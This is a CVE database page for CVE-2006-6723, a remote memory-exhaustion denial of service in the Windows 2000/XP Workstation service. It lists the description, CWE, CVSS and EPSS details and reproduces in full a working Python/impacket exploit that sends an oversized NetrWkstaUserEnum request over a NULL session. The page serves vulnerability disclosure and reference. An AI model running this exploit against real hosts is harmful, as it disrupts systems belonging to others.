CVE-2006-6723 : Detail

CVE-2006-6723

64.14%V4
Network
2006-12-26
19h00 +00:00
2017-10-18
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Workstation service in Microsoft Windows 2000 SP4 and XP SP2 allows remote attackers to cause a denial of service (memory consumption) via a large maxlen value in an NetrWkstaUserEnum RPC request.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3013

Publication date : 2006-12-24 23h00 +00:00
Author : h07
EDB Verified : Yes

#!/usr/bin/python # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07 <h07@interia.pl> # Tested on:.. # - Windows XP SP2 Polish # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins # Example: # # wks_dos.py 192.168.0.2 512 # # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # [*] Coded by h07 <h07@interia.pl> # [*] Connecting to 192.168.0.2:445 (NULL Session) # [+] Connected # [+] The NETBIOS connection with the remote host timed out. # [+] 192.168.0.2: Out of memory # [+] Done # # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512) # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP # svchost.exe memory usage: 512 MB ## from impacket.structure import Structure from impacket.nmb import NetBIOSTimeout from impacket.dcerpc import transport from impacket import uuid from struct import pack from string import atoi from sys import argv from sys import exit print "\n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit" print "[*] Coded by h07 <h07@interia.pl>" if(len(argv) < 3): print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0]) print "[*] Sample: %s 192.168.0.1 512" % (argv[0]) exit() MB = 1024 * 1024 host = argv[1] memory_size = MB * atoi(argv[2]) pipe = 'browser' UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0') stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= {'host':host, 'pipe':pipe} def utf16(str): return str.encode('utf_16_le') class B1(Structure): alignment = 4 structure = ( ('id', '<L=0x41414141'), ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class NetrWkstaUserEnum(Structure): alignment = 4 opnum = 2 structure = ( ('server', ':', B1), ('info_level1', '<L=1'), ('info_level2', '<L=1'), ('referent_id1', '<L=0x42424242'), ('num_entries', '<L=0'), ('null_pointer', '<L=0'), ('max_len', '<L'), ('referent_id2', '<L=0x43434343'), ('enumeration_handle', '<L=0x00000000'), ) query = NetrWkstaUserEnum() server = "%s\x00" % (host) query['server'] = B1() query['server']['id'] = 0x41414141 query['server']['actual'] = len(server) query['server']['max'] = len(server) query['server']['str'] = utf16(server) query['max_len'] = memory_size trans = transport.DCERPCTransportFactory(stringbinding) print "[*] Connecting to %s:445 (NULL Session)" % (host) try: trans.connect() except Exception, err: print "[-] %s" % (err) exit() print "[+] Connected" dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1]))) dce.call(query.opnum, query) try: raw = dce.recv() status = raw[-4:] if(status == pack("<L", 0x00000005)): print "[-] Return code: Access denied" exit() if(status == pack("<L", 0x00000008)): print "[-] Return code: Memory allocation error, out of memory" exit() if(status == pack("<L", 0x00000000)): print "[+] Return code: Success, memory allocated" except NetBIOSTimeout, err: print "[+] %s" % (err) print "[+] %s: Out of memory" % (host) print "[+] Done" # EoF # milw0rm.com [2006-12-25]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_xp >> Version *

References

https://www.exploit-db.com/exploits/3013
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/23487
Tags : third-party-advisory, x_refsource_SECUNIA
http://securitytracker.com/id?1017441
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2006/5142
Tags : vdb-entry, x_refsource_VUPEN